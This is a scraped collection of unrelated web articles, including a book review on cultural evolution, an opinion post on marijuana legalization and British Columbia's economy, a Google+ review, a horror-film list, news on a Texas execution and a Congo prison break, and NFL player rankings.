Teaching allowed for and promoted the evolution of culture by epitomizing a combination of two uniquely human traits: cooperation and language. “What singles out our species,” Laland writes, “is an ability to pool our insights and knowledge, and build on each other’s solutions.” Chimpanzees can teach one another how to get ants out of holes using sticks, but none has ever been accused of figuratively standing on the shoulders of other chimps to develop a more complex or superior variant of this simple technology. Their technology, then, stagnates at this simple stage. Chimp-tech does not become increasingly complex, as ours has.
Language is a key reason for that. It allows us to convey to one another things unseen, things abstract, things happening in different times and places—even things happening only in our heads. Most animal communication, in contrast, is of the “watch out for that tiger,” “hand over that banana,” or “let’s get it on” ilk—it deals with immediate and present physical needs. Animals do not discuss quantum mechanics, or Fauvism, or the theory of mind; they do not discuss anything that is not the here and now.
Language shapes the way we think; it enables us to think complex thoughts, not only to convey them. Animals have never needed to do that since their cultures never became complicated enough to require symbolic language to transmit. Even if they have a suite of behaviors that can be called culture, it is not culture worth their talking about.
Laland cites evidence for this cultural drive theory using mathematical models, and computer simulations. (The chapters Darwin’s Unfinished Symphony devotes to animal studies that have contrasted the copying abilities of threespine stickleback fish and ninespine stickleback fish can be pretty dry.) His contribution is to realize that the spark that got the whole thing started were innovations in food-processing techniques that let us get more energy from our diet. More efficient eating allowed for brain growth, an extension of lifespan, and population growth. These, in turn, enabled more technological innovations, since both the people and the technologies hung around long enough for innovations to be made. Hence language evolved as the best way to teach these innovations, hence bigger brains evolved to learn the language. But in the end, it’s all food’s fault.
So when your fourth grader (or seventh grader, or 12th grader) comes home whining about why does she have to know about the Pax Romana (or the endoplasmic reticulum or differential equations)—what use will she ever have for this information?—remind her that learning this stuff in school is what makes us uniquely human. Just hope that she isn’t clever enough to realize that Snapchatting instead of doing homework is uniquely human, too.To twist the lyrics of Leonard Cohen, "Decriminalization is coming, to the U.S.A." That, or outright legalization.
This is good news and bad news. But it's likely to be bad news for lots of Canadians who live in British Columbia. And it could begin happening in less than two weeks!
It's starting in California, of course, where the Golden State, which is broke, is on the verge of completely legalizing marijuana, if only as a way to raise badly needed tax revenue. (Under the U.S. Constitution, criminal law comes under state jurisdiction. In Canada, of course, it is a federal responsibility, so even if they took it into their heads to do so, British Californians would be unable to follow suit.)
On Nov. 2, Californians will vote on Proposition 19, a statewide referendum that if passed would legalize marijuana and allow local governments to collect pot-related taxes. Pro- and anti-Prop-19 campaigners are busy in the state. But even if Californians don't vote for outright legalization, Gov. Arnold Schwarzenegger has already approved a law reducing possession of marijuana to the equivalent of a $100 parking ticket.
Civilization will not end, and California will not sink into the sea -- or, at least, if it does, it'll be because of an earthquake and not a drug-induced frenzy. Anyway, such a seismic upheaval would likely take British Columbia along with it, rendering the point of this post moot.
The good news is that California pot legalization -- or even mere decriminalization -- will mean the beginning of the end of the counterproductive, expensive, destructive, pointless and often tragic "war on drugs," at least its marijuana front.
This won't happen overnight, of course. It will take years, with the likes of Prime Minister Stephen Harper hanging on to punitive mandatory sentences for insignificant possession, harsh enforcement and senseless expenses for unneeded new prisons as if their political lives depended on it -- as indeed they may, given their core constituency.
But one by one the states of the U.S.A., most of them like California broke anyway after years of right-wing economic mismanagement, will give up on the doomed war on weed, if only for sound fiscal reasons. Then, as we so often do -- for good or ill -- Canada will bob along in their wake.
The bad news -- other than for those of us who make our livings enforcing drug laws, training dogs to sniff out the stuff, manufacturing Kevlar vests and the like -- will take longer to sink in.
But decriminalization is ultimately an economic decision. Not only will it increase tax revenues some places, it will decrease economic activity elsewhere. Most obviously, while there will continue to be profit in growing, packaging and selling marijuana, it will be nowhere near the magnitude of the industry's profits today.
This may come as a surprise to most of us who don't buy or use illegal drugs, but that's bad news for British Columbians because the economy of that province -- which is not unlike that of a so-called narco-state -- is so heavily dependent on marijuana production. Arguably it's bad economic news for all Canadians for the same reasons, whether we recognize it yet or not.
Because the Canadian marijuana industry is illegal, it operates almost entirely off the books, generating virtually no tax revenue and precious few records. So estimates of what it's worth to the B.C. economy are all over the map. But even the small numbers are big, with estimates starting at around $3 billion a year and rising as high as $20 billion, double the legal revenue generated by B.C.'s forest industry.
The Wikipedia puts the number at $6 billion. Britain’s Guardian newspaper puts at $20 billion. In 2006, the B.C. forest industry's direct economic activity totalled about $10 billion, representing 7.4 per cent of the province's GDP.
The driver of the huge profits for growing marijuana in Canada and smuggling it south, of course, is enforcement and prohibition. That motive will largely disappear with legalization or even decriminalization. Why risk smuggling pot from Canada if you can grow it legally at home in Los Angeles?
And why grow pot in secret urban grow ops all over Western Canada if there's no profit in smuggling it to the States. The secret Canadian drug industry -- built up in increments over the past 40 years -- will quickly collapse.
What's the big deal, you might wonder, if, like most of us, you neither buy nor use the stuff, nor have any involvement in this illegal industry whatsoever?
The problem is that, arguably, whether you do or not, you do. Why do retail businesses do so well in British Columbia's Lower Mainland? At least in part because of pot profits. So you benefit if you're a retailer in B.C. even if you retail products that have nothing whatsoever to do with the drug trade.
Why have house prices remained high and stable throughout Western Canada, especially B.C., even as they are collapsing in the United States? Untaxed profits from the drug trade certainly help, and may even underpin them. So if you're a homeowner, hoping to finance your retirement through the sale of your Vancouver or Victoria house, you too benefit from B.C. bud.
Even municipal taxes in communities that would otherwise be recession-bound depend on the illegal Canadian drug trade.
As columnist Douglas Haddow argued in the Guardian, if California legalizes, about all we Canadians could do to save our economic skins would be "to follow suit, legalizing on a national level and taxing the industry a la tobacco or alcohol."
This, however, would present a huge political problem to the Harper government, both in terms of dealing with pressure from U.S. states that don't legalize immediately, and its own perception of how to play to its political base. The same can be said of most provincial governments.
Whatever they decide to do, one thing is certain: Decriminalization is coming, and not just to the U.S.A.
This post also appears on David Climenhaga's blog, Alberta Diary.Illustration by Alex Williamson
Early in the 1930s, when he was managing the Hogarth Press for Leonard and Virginia Woolf and preparing the anthology—New Signatures—that would be received as a species of generational manifesto, John Lehmann wrote that he had
heard with the tremor of excitement that an entomologist feels at the news of an unknown butterfly sighted in the depths of the forest, that behind Auden and Spender and Isherwood stood the even more legendary figure of … Edward Upward.
In that reference to the literary-political celebrities of the ’30s, Upward received his due. In a once-famous attempt to get the whole set into one portmanteau term, which was Roy Campbell’s coinage of MacSpaunday to comprehend the names of Louis MacNeice, Stephen Spender, W. H. Auden, and Cecil Day-Lewis, Upward was omitted altogether (as was his friend and closest collaborator, Christopher Isherwood). On the eve of Valentine’s Day this year, at the age of 105, the last British author to have been born in the Edwardian epoch died. If Upward is not better known than perhaps he ought to be, it is probably because he helped instill the Communist faith in his more notorious friends, and then not only outlived them and their various apostasies but continued to practice a version of that faith himself. (For purposes of comparison, MacNeice died in 1963, Day-Lewis in 1972, Auden in 1973, Isherwood in 1986, and Spender in 1995, so with Upward’s death, the last link to that era is truly snapped.)
His traces and spoor and fingerprints are to be found all over the work of those whom he so strongly mentored. Auden dedicated “The Exiles”—one of the Odes in The Orators—to Upward, and made him an executor of his will when he set off to take part in the Spanish Civil War. Upward also makes an appearance as a character in Auden’s charade, Paid on Both Sides, published in T. S. Eliot’s Criterion in 1930. In the same year, Auden sent Upward a copy of his Poems and wrote, “I shall never know how much in these poems is filched from you via Christopher.” With Isherwood, who fictionalized him in Lions and Shadows under the name of Allen Chalmers, Upward co-invented the weird dystopia of Mortmere, and co-authored the fantastic gothic tales—surreal medievalism was Upward’s term for the genre—that became grouped under that name. Isherwood dedicated All the Conspirators to him. Spender, in his 1935 study, The Destructive Element, presented Upward as an English Kafka. In 1938, the Hogarth Press published Upward’s novel Journey to the Border, which was thought of by many as the only English effort at Marxist fiction that was likely to outlast the era in which it was written. And then … silence. There was some rumor of a “nervous breakdown.” Nothing was heard from Upward until the early 1960s, when he abruptly produced a trilogy of didactic and autobiographical novels, each illustrating in different ways what a commitment to a Communist life could do to an aspiring author. (When I read them, I was put in mind of something Doris Lessing once said to me about the Communist Party’s “Writers’ Group,” of which she had once been a member: everybody liked to talk about the “problems” of being a writer, and most of the “problems” came from being in the Communist Party in the first place.)At first, Google+ looks like a shameless Facebook duplicate. There’s a place for you to make Posts (your thoughts and news, like Facebook’s Wall); there’s a Stream (an endless scrolling page of your friends’ posts, like Facebook’s News Feed); and even a little +1 button (a clone of Facebook’s Like button), which may be where Google+ gets its peculiar name.
But there’s one towering, brilliant difference: Circles.
On Google+, you put the people of your life’s different social circles into — well, into Circles. That is, groups. Categories. Google starts you off with empty circles called Friends, Acquaintances, Family and Following (people you don’t know, but want to follow, as you would on Twitter ). It’s a piece of cake to add new ones. They can be tiny circles (“Granny and Gramps”) or big ones ( “Family Tree” ), organization-based (“Fantasy League Buddies”) or arbitrary (“Annoying People”).
Creating them is a blast: an array of tiles represents your online acquaintances, which it assembles from your Gmail and other accounts. You drag each one into an actual on-screen circle, where they tumble into place. You can drag a person into more than one circle, of course. The lucky encircled friend will know that you’ve added him or her to a circle, but not which one, thank heaven.
Photo
From now on, every time you share something — a news item, a thought, a photo, a chat invitation — you can specify exactly which Circles receive it. In one fell swoop, Google has solved the layers-of-privacy problem that has dogged Facebook for years.
Senators embarrassed by their children’s drunken party photos. Potential employers reading about your crazy nightlife. Girlfriends learning accidentally about their beaus’ proposal plans. All of it goes away with Circles. You share each item with only the people who deserve to know. And simultaneously, you spare the masses from seeing news of no interest to them; why should the whole world be in on your discussion of this Friday’s bowling outing?
You’re spared, too. You can click a Circle’s name to filter the scrolling blurbs. You can view only the work-related posts, only your college buddies’ posts, or only your grandparents’ posts, with one click apiece.
Facebook has something similar, called Lists. But compared with Circles, it’s buried and a lot more effort to use. In Google+, you have to specify who gets each post or each photo (although it remembers your last selections). That’s actually a little annoying — you can’t just type an update and hit Enter — but over all, the benefits outweigh the hassle.
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Google+ has a few more attractions, though, besides this clever privacy control feature. There’s Sparks, which is like a personal press-clipping service (and akin to Google Alerts). You browse for, or type in, a topic you’re interested in, like “Electric Cars,” “ Cleveland Cavaliers ” or “Bundt Cakes.” Google+ fills the screen with matching articles, news and videos from all over the Web. It may be the easiest, least threatening news reader in history.
The most mind-blowing “Facebook can’t do this” feature, though, is Hangouts. Technically, it’s videoconferencing. It lets up to 10 people join a chat simultaneously, using their Web cams or laptop cameras.
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A row of one-inch tiles, each displaying one participant’s video feed, appears below the big screen. Google+ does its best to switch cameras for the big screen automatically, based on whoever’s talking at the moment. (You can also click someone’s tile manually.) A skinny chat window appears on one side for typed remarks, and a YouTube button lets everyone watch YouTube videos simultaneously on the big screen. Slick.
It may sound like Skype or iChat (or Facebook’s comparatively lame, just-announced one-person-at-a-time video chat feature). But its integration with the rest of Google+ makes it much better. You can see when one of your buddies is in a video hangout, so you can “drop by.” Similarly, when you’re feeling social, you can click Start a Hangout, announce its availability to a particular Circle of friends, and let them drop in to visit you. A video chat doesn’t have to be a scheduled, formal deal.
It’s always on the Web, so you don’t have to install a program. It’s available to your Circles, so you can whip together a quick chat to organize a party or a tennis match. And it could do just fine for many business meetings (or even business trips).
Photo
You can share Photos easily by dragging them from your computer right into the box where you’d type your latest news. And you view other people’s photos in a beautiful, black-background gallery, with comments off to the right.
If you have an Android phone, even more fun awaits. There are Huddles (instant phone-to-phone group chats with your Circles). And when you take a picture with |
- Infinity
I've noticed that many of these brands has been the use of the Hofmeister Kink to distinguish between similar models of different marques. Below are some examples:
There are many other examples (and a couple counter-examples) but the trend is clear, particularly when looking at cars made after the mid 1990s. Some notable exceptions are:
Mercedes - As mentioned above they are unlikey to use a signature design feature from BMW.
Cadillac - They currently have a very strong design language of their own.
Honda/Acura - The Accord and its Acura equivalents all have the Kink
Nissan/Infiniti - All of their cars have the kink (not true a decade ago)
Korean Manufacturers Try to Move Upmarket
The Korean auto manufacturers, Hyundai and Kia are seemingly trying to duplicate the path to success that Honda used. Start with cheap economy cars, earn a reputation for quality and move upmarket into more expensive luxury models. In the last couple of years, both Hyundai and Kia have introduced more luxurious sedans and SUVs. While the Kia Amanti has clearly taken heavy design inspiration from Mercedes (no kink!), its Optima sedan is more in line with other manufacturers. Below are two examples:
Conclusion
This seemingly inconsequential detail has developed into a key theme of automotive design. It is clear that automotive designers work within a set of guidelines they understand well, knowing how the details impact public perception. This aspect of design is certainly not only relegated to cars, but is carried through other design mediums as well. Web design is no exception. There are features of a site that can be used to instantly exude professionalism and sophistication.
I wanted to take this time to turn it over to the readers and get your thoughts on your favorite subtle design techniques, only noticeable to a very discerning eye, that instantly convey a level of beauty to the site's visitors. What elements come to mind?An historic law that protects gay, lesbian and transgender people from discrimination in Salt Lake City went into effect on Friday.
Gay rights advocates and city officials joined Mayor Ralph Becker at City Hall to celebrate the ordinances' implementation.
“These ordinances demonstrate our determination to foster an environment of good will and acceptance welcoming every member of the community as an integral part of our Great American City,” Becker said in a statement. “Everyone in Salt Lake City will benefit from the protections these ordinances provide.”
Becker, a Democrat, introduced in October the two ordinances that make it illegal to discriminate based on sexual orientation or gender identity (transgender protections) in the areas of employment and housing. At the time, passage appeared iffy as socially conservative state lawmakers and Governor Gary Herbert, a Republican, denounced the measures.
“I don't think the discrimination they scream about is really real,” conservative State Senator Chris Buttars, a Republican from West Jordan, told Salt Lake City-based KCPW radio. “I'm watching that to see what they try to do, and if they keep pushing it, then I will bring a bill about it.”
Herbert agreed, saying the measure would put the city on a “slippery road.”
“Where are you going to stop? I mean that's the problem going down that slippery road. Pretty soon we're going to have a special law for blue-eyed blondes … or people who are losing their hair a little bit,” Herbert, a Republican, said. “There's some support for about anything we put out there. I'm just saying we end up getting bogged down sometimes with the minutiae of things that government has really no role to be involved in.”
But an eleventh-hour endorsement from the Church of Jesus Christ of Latter-day Saints (the Mormons) sealed the deal and appears to have subdued opposition.
“The church supports these ordinances because they are fair and reasonable and do not do violence to the institution of marriage,” spokesman Michael Otterson told city leaders before they unanimously approved the measures.
Gay activists who continue to blast the church for its role in approving Proposition 8, the 2008 voter-approved ballot initiative that outlawed gay marriage in California, were left stunned.
In approving the law, Salt Lake City became the first city in Utah to ban such discrimination, a move the Utah Legislature has refused to do.
Several state lawmakers at first threatened to take down the law, but eventually agreed to put gay rights legislation – both for and against – on the back burner for a year. Under the plan announced in early March, Democrats agreed to drop three previously publicized pro-gay bills in exchange for a promise from opponents not to attempt to prevent local governments from approving similar measures.
EqualityUtah, the state's largest gay rights advocate, has since launched Ten in 2010, with the goal of adding 10 more cities or counties to the list of municipalities with such protections in place.Image copyright Reuters Image caption Cars parked at the front of the prison were burnt during the jail-break
More than 3,000 prisoners are believed to have escaped from the main prison in Democratic Republic of Congo, security sources have told the BBC.
The authorities say only around 50 prisoners got away when armed men attacked the prison on Wednesday.
The security sources also said dozens of people were killed during the attack on Makala prison.
Ne Muanda Nsemi, leader of the political-religious sect Bundu Dia Kongo, is among those who escaped.
A police spokesperson told a local radio station, Radio Okapi, that the prisoners were dangerous, and called for anyone who saw them to tell the authorities.
The sources say that around half of the prison's inmates fled during the attack.
Government officials say a police officer and at least five attackers were killed, while several sources say that up to 100 died.
The authorities accuse supporters of Mr Nsemi's supporters of being behind the attack, although the group has denied this.
Mr Nsemi is a self-styled prophet seeking to revive the ancient Kongo kingdom.
Bundu Dia Kongo is campaigning to restore a monarchy in parts of DR Congo, Congo-Brazzaville, Angola and Gabon.
The group mixes Christian and traditional beliefs and practices.
Mr Nsemi was an MP when he was arrested in Kinshasa after police accused him of inciting violence.
Ne Muanda Nsemi: The man behind the unrestThis new teaser trailer for Tom Clancy's The Division is meant to show off the game's impressive weather and time of day effects. And they are pretty - but expected. Living in New York City means dealing with long nights of chilly winter, so Ubisoft would have been remiss not to recreate them in the Snowdrop Engine.
No, the most significant part of the trailer walks offscreen just a few seconds in. That's right, I'm talking about dogs. And I'm pleased to report that The Division's Dog_Watch status remains green: dogs are officially still in.
In #TheDivision, agents will experience a full range of weather and time of day. Find out more tomorrow pic.twitter.com/IeHScCbGzJOctober 22, 2015
You may not have realized that The Division is actually about dogs instead of sleeper agents working together to restore society in plague-wracked Manhattan. But that fact becomes immediately clear if you just watch the trailers back to back.
Look at 2:04 into The Division's E3 2013 reveal trailer - a pack of dogs meeting on a street corner for a heated debate about lending their paws to The Division. The E3 2014 trailer is distressingly dog-free up until 4:02, when a clarion bark rings out as if to say "wait until next year." And sure enough, at 1:04 of The Division's E3 2015 trailer, you'll see a good boy, yes he is, leading a fireteam into combat in a dog/human joint operation.
Ubisoft plans to show off more of The Division's weather stuff on Friday. Until then, the Dog_Watch will remain vigilant for any canine downgrades.
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Newcastle United fans will be able to watch highlights of the Magpies’ Championship matches on Channel 5 every Saturday evening throughout the course of the 2016/17 campaign.
‘Football on Five: The Championship’ - an hour-long highlights show - will be broadcast from 9pm on Saturday evenings and then repeated again on a Sunday morning.
Channel 5 have also announced that Magpies fan Lynsey Hipgrave will be fronting the coverage for the 2016/17 season alongside current presenter George Riley.
The first highlights show of the season will be broadcast on Saturday, August 6 at 9pm - 24 hours after Rafa Benitez’s Newcastle side kick-off the entire EFL campaign against Fulham at Craven Cottage.
Every Saturday evening, the hour-long Championship highlights show will be followed by ‘Football on Five: Goal Rush’ from 10pm, which will screen all of the goals from League One and League Two.
Speaking to the EFL’s official website after it was announced that she would present the highlights show for the 2016/17 campaign, Newcastle supporter Hipgrave said: “I’m delighted to be offered this opportunity.
“The Sky Bet Championship in particular is going to be more exciting than ever, with Newcastle United and Aston Villa competing with the likes of Leeds, Sheffield Wednesday, Forest, Derby and Wolves.
“They’re big clubs, with big crowds and some big-name managers.
“I love the lower leagues, too.
“They always provide great goals and the occasional quirky moment.
“I’m looking forward to bringing all that to a terrestrial audience.”
Sky Sports will broadcast Championship games live throughout the season - United are on four times before the end of September, including against Fulham - and they will also provide weekly highlights packages as well.
Channel 5 Highlights 2016/17:
Saturdays, 9pm - ‘Football on Five: The Championship’
Saturday, 10pm - ‘Football on Five: Goal Rush’
*Both shows will be repeated on Sunday mornings on Channel 5 as wellRead part one here!
Once again, I plumbed the depths to find more memorable WTF moments. Like I said in PART ONE, there are soooo many to pick from that I still have barely even scratched the surface. This could become a series that never ends.
Oh well, here are Even More “WTF” Moments in Horror Films…
Cabin Fever – Pancakes
Rule #1: You do NOT sit next to Dennis.
“Cabin Fever” is a solid film filled with popular horror cliches. A group of stock college kids decide to vacation at a remote cabin in the woods, despite getting some red-flags from the creepy locals. One by one, they are gruesomely killed off by a strange virus in the water supply that turns their bodies into liquid goop. Even though it treads on familiar territory, the film strikes a chord with many horror fans due to its dark humor and gallons of gore.
The most famous WTF moment occurs when Burt (James DeBello) escapes the cabin and returns to the sketchy general store for help. We learned earlier that Dennis is not to be messed with, but we had no idea he had such sick karate moves (or an interest in pancakes).
But, is it any good?: I’ve always been a fan of Cabin Fever, and I think it’s Eli Roth’s most enjoyable film. It’s funny and bloody as hell.
The Shining – Manbearpig
There are probably moments in every Stanley Kubrick film that leave some viewers scratching their heads, but few come near the weirdness of this moment. Toward the end of the film, Wendy (Shelley Duvall) is aimlessly running around the Overlook Hotel when she encounters something…peculiar.
Now, if I ever encounter a ghost, I might expect to see one of the mainstays. You know, I might expect an old woman apparition, a little kid playing with a ball, or CREEPY TWIN SISTERS SAYING “COME PLAY WITH US”. It would be pretty awkward to run into a guy in a bear-suit engaging in vintage fellatio. Just sayin’.
But, is it any good?: Come on, it’s “The Shining”.
Texas Chainsaw: The Next Generation – The Mind of McConaughey
Before Matthew Mcconaughey became a household name, he was just another struggling actor getting his start in a horror film. In this case, he decided to really stretch the crazy meter as a backwoods hick named Vilmer.
“Texas Chainsaw Massacre: The Next Generation” is WTF in many ways. By 1994, the TCM series had sort of come to a standstill, and Kim Henkel (co-writer of the original) decided to try and “update” the story for a new era. What we ended up with is a bat-shit crazy concoction where Leatherface is a full-on transvestite and the Sawyer family is part of a mysterious government conspiracy and…
…?
The most enjoyable part of the whole movie is watching Mcconaughey flail around like a lunatic. He really gave it his best in an otherwise mostly shit-fest. Maybe he channeled his Vilmer character a little when preparing for Killer Joe?…I hope so.
But, is it any good?: This one’s only worth it to see Matthew McConaughey and Renee Zellweger in early horror roles. It’s watchable, but definitely sucks the hardest of the original four TCM films.
Prophecy – Sleeping Bag Explosives
“Prophecy” is a weird little film from 1979 about a giant, mutated bear on a killing spree in the deep woods of Maine. It sounds like it would be good stuff, but most of it is bogged down with boring dialogue and a meandering pace. The scenes with the bear (or the Katahdin as it is called) are the most memorable parts of the film, including one infamous moment with a sleeping bag.
As a family tries to peacefully sleep under the stars, Katahdin shows up with absurd mayhem on her mind and goes after a child. Instead of getting out and running, this genius decides to stay in the sleeping bag and hop away like it’s a Sack Race From Hell. Unfortunately, Katahdin has the swatting power of three Ivan Drago’s and sends the child straight into a huge rock, resulting in a feathery explosion.
But, is it any good?: I used to catch this movie on TV every once in a while as a kid, and back then it actually scared the s*it out of me. It’s really not THAT bad, but the f/x on the giant-fetus bear are pretty poor, and most of it isn’t very exciting.
Hatchet II – Chicken and Biscuits
Adam Green’s “Hatchet” series is a mostly successful homage to the 80’s Video Nasty slashers. The villain in this saga is an unpleasant fellow named Victor Crowley (played by Kane Hodder) who haunts the swamps of Louisiana. None of the films are terrible, but they are mostly recommended for their over-the-top gore effects.
Near the beginning of “Hatchet II”, the gang of soon-to-be victims are riding a tour boat into the swamp when the comic-relief character, Vernon, breaks into a song. The moment happens out of nowhere, and none of it is ever mentioned again. The first time I saw it, I needed to rewind the film to confirm whether I had imagined it.
Nope. It’s there. This has since become my go-to song in moments of boredom, it helps.
But, is it any good?: All of the “Hatchet” films are solid for gore fans (“Hatchet III” being the weakest by far).
Friday the 13th Part 4 – Crispin Cuts Loose
“F13th Part 4”, aka The Final Chapter (HA!), is commonly regarded as one of the better installments in the series. It’s dark, very bloody, and takes itself pretty seriously compared to others. It’s also a favorite of mine thanks to the presence of Crispin Glover.
Glover actually manages to steal every scene he’s in due to his awkward nature. But no scene encompasses the Power of Crispin as much as when he busts a move. His dance moves are a force to be reckoned with, and would be difficult to replicate. He just plays a hapless dork like a pro (this IS George McFly, after all).
But, is it any good?: Part 4 has enough uniqueness to make it one of the best of the original films. In fact, next to the original, it’s my personal favorite.
(On a side note, WTF is up with that song? It’s the most 80’s thing I’ve ever heard, and the singer sounds like Michael McDonald if he was wearing Rob Halford’s wardrobe.)
This…
Plus this…
= Weird thoughts.
Shark Attack 3: Megalodon – An Offer You Can’t Refuse
I’ll confess, I’ve never actually seen all of “Shark Attack 3”. But based on all the clips that have surfaced over the years, I think I get the gist. It’s a run-of-the-mill, early 2000’s killer shark SyFy movie. It’s “Sharknado” before that movie showed up and annoyed the hell out of everyone.
Since I’ve never even seen the whole movie, I won’t bother trying to explain anything. Just…have a look. The story goes that the director asked the male actor (John Barrowman) to improvise a line in order to make the actress laugh. Much to Barrowman’s (and our) surprise, it made it into the final cut.
But, is it any good?: Probably In it’s own “special” way. I’ll let this clip answer that question.
The original video uploader wouldn’t allow playback from other sources…so, here’s the link to the Youtube clip.
Mystics in Bali – Floating Action
We’ll end this list in completely weird territory. “Mystics in Bali” is a 1981 Indonesian film based on the Balinese mythology of the Leyak spirit. Unless you’re Indonesian, that information probably doesn’t mean much to you, but I guess it’s reassuring to know there is SOME method to the film’s madness.
The film’s most famous WTF scene occurs when a disembodied head (complete with hanging organs) flies around like a nightmare drone and invades a pregnant woman’s room. In the process, the head also “shoves” a different woman straight through a wall and onto a table in glorious fashion. You will likely feel weird after this clip is over.
But, is it any good?: Fans of extremely weird cinema will eat it up. It can be a chore to sit through at times due to bad dubbing and pacing. But if you enjoyed the clip, you’ll enjoy the whole film.
A few honorable mentions include Sleepaway Camp, The Brood, and Brian Yuzna’s Society. I was hesitant to include their WTF moments because they could spoil the entire film for those haven’t seen them.
Stay tuned for PART III!
HPC.
AdvertisementsHate crime killer executed
KILLER'S FAMILY: Lawrence Russell Brewer's parents - Helen and Lawrence Sr. - leave the prison with his brother, John, after witnessing the execution, KILLER'S FAMILY: Lawrence Russell Brewer's parents - Helen and Lawrence Sr. - leave the prison with his brother, John, after witnessing the execution, Photo: David J. Phillip Photo: David J. Phillip Image 1 of / 5 Caption Close Hate crime killer executed 1 / 5 Back to Gallery
HUNTSVILLE - As the sisters of his victim watched solemnly but dry-eyed, Lawrence Russell Brewer was executed Wednesday for the 1998 Jasper dragging murder of James Byrd Jr. - a racially motivated killing that stunned the nation.
He was the first of two Byrd killers scheduled to be put to death. A third killer was sentenced to life in prison.
Brewer, 44, made no final statement before the lethal drugs were started at 6:11 p.m. He was declared dead 10 minutes later.
Brewer, visibly pale, looked toward the witness room occupied by his parents and brother. He did not make eye contact with Byrd's two sisters and niece, who occupied an adjoining witness room.
Tears began to form in his eyes as he breathed heavily and died.
Clara Taylor and Louvon Harris, the victim's sisters, stood silently as the execution took place.
"Tonight we witnessed the next step toward complete justice for James - the execution of Lawrence Brewer for his part in this brutal murder," Taylor said afterward. "Hopefully today we have been reminded that racial hatred and prejudice can lead to tragic consequences for both the victim and his family as well as the perpetrator and his family."
Taylor said she was "still processing" the execution. "Maybe in the midnight hour I'll process it," she said. "It was quick and sobering."
Taylor said she wanted to hear a final statement from the killer, but also was afraid of what he might say. "My understanding is he had no remorse, he was unrepentant," she said. " … It could have gone in any direction."
Brewer's relatives, who wept during the execution, made no public statement.
Shocked the nation
The Byrd killing, occurring in Deep East Texas, the portion of the state most closely tied to the American South and its history of lynching, shocked and sickened the nation. Byrd, 49, was abducted as he walked along a Jasper road, beaten, urinated on and dragged about 2 miles behind a pickup by log chains attached to his ankles.
He was decapitated when his body struck a culvert.
Brewer and his accomplices, John William King and Shawn Allen Berry, dumped their victim's mangled body at an African-American cemetery and went to eat barbecue.
Investigators found Brewer's DNA on a cigarette and beer bottle at the crime scene and Byrd's blood on his shoes. The brutality of the crime fueled efforts to enact state and federal hate crime laws.
Jasper County law officers who recently visited Brewer on death row said he expressed no remorse.
King, like Brewer, was sentenced to die for the crime; Berry was sent to prison for life.
Prison authorities, who - uncertain of the number or nature of protests the execution might spawn - ringed the Walls Unit with extra guards. But raucous protests never developed.
By late afternoon, dozens of demonstrators - including African-American comedian Dick Gregory - assembled in an area near the prison set aside for protests.
"Any state killing is wrong," he said. "If Adolf Hitler were to be executed, I would be here to protest … I believe life in prison is punishment. Execution is revenge."
Among outnumbered capital punishment supporters was Sam Houston State University political science student Josh Ruschenberg, who lofted a sign urging reinstatement of "Ol' Sparky," the state's decommissioned electric chair.
"I've always been for the death penalty," he said. "I think the state should be able to assess the maximum punishment for maximum offenses. The crime they committed was so heinous."
Didn't eat final meal
Prison officials said Brewer, whose appeals were exhausted, appeared to be in good spirits hours before the execution and joked with the prison warden and chaplain.
Brewer ordered - but did not eat - a final meal of two chicken fried steaks, a triple-meat bacon cheeseburger, a cheese omelet, a large bowl of fried okra, three fajitas, a pint of Blue Bell ice cream, and a pound of barbecue with a half loaf of white bread.
Brewer and King - both members of a white supremacist gang - met at Tennessee Colony's Beto Unit, where Brewer was serving time for burglary and drug possession.
Beaumont Enterprise reporter Heather Nolan contributed to this report.
allan.turner@chron.com10 best AFC offensive players right now
By John Kosko • Jun 21, 2016
PFF Senior Analyst Sam Monson released his top 101 players heading into the 2016 season last week, and with it, we saw plenty of discussion about who the best players in the league are on both sides of the ball. Here we are going to focus in on the offensive talent in the AFC, and highlight the top 10 players on offense in that conference.
1. Rob Gronkowski, TE, Patriots
Where to start with Rob Gronkowski. Sam Monson described Gronk’s dominance on offense in a similar manner to J.J. Watt’s dominance on defense. While Gronk only forced 13 missed tackles in 2015 (including the playoffs), most of his damage is done to players hanging off him as he drags them 10 yards after the initial contact. Since his injury-plagued 2012 and 2013 years, he hasn’t been the same dominant run-blocker as he was in his first two seasons, but that part of his game rebounded in 2015. After earning dominant grades in 2010 and 2011, Gronk was on his way to a similar season in 2012 before injury. He graded as the best run-blocking TE in 2015, and could conceivably return to his early-career form in 2016.
Gronk leads all TEs in yards per route run over the past two years (2.41), with second place Jordan Reed at 2.24. With good hands (11 drops in the past two years), great blocking, and dominance before and after the catch, Gronk is the AFC’s best offensive player.
2. Antonio Brown, WR, Steelers
Antonio Brown is an exception to the norm, and asserts his dominance via quickness, smarts, and crisp route-running. As incredible as his Week 15 game against Broncos CB Chris Harris Jr. was, his Week 9 game against Oakland’s D.J. Hayden and David Amerson was even better: 17 receptions on 23 targets for 284 yards. Over the course of the season, Brown was in a battle with Julio Jones as the best WR in football, but Brown separated himself in the second half of 2015. The Steelers wideout has just 10 drops the past two years on 276 catchable targets (3.62 drop rate) and 2.89 yards per route run in 2015 (3.12 in games with Ben Roethlisberger healthy). Take out the four-game stretch where Big Ben was hurt, and Brown still has a streak of 47 straight games with at least five catches. Brown dominates at all depths of the field and makes almost all cornerbacks look mediocre.
3. Le’Veon Bell, RB, Steelers
Le’Veon Bell has some insane vision.
This play is pretty special from Bell on a few counts, and epitomizes why the former Michigan State Spartan is the best HB in the NFL. He shows patience, which is essential for a zone-running play. Some small holes open up initially, notably middle right and left guard, but hitting these quickly would result in minimal gains. Mid-right would get closed by Daryl Smith (No. 51) and possibly Lawrence (No. 93) Guy. Left guard looks to be open, but he is able to see Kendrick Lewis (No. 23) from beyond the opposite hash closing on the hole, along with Smith reading Bell’s movements. Bell fakes left guard, which draws Smith and Guy left, and then creates magic by bouncing it outside right guard for a sizeable gain.
If Bell can return to pre-injury form in 2016, he’ll add to the extremely powerful Steelers’ offense. Just two HBs topped Bell in elusive rating last season, but no HB came close to matching Bell’s success after first contact, gaining 3.41 yards after contact per attempt—Doug Martin was next closest at a distant 3.15. Bell’s deadly combination of vision, patience, agility, and power makes him the NFL’s best HB.
4. Joe Thomas, OT, Browns
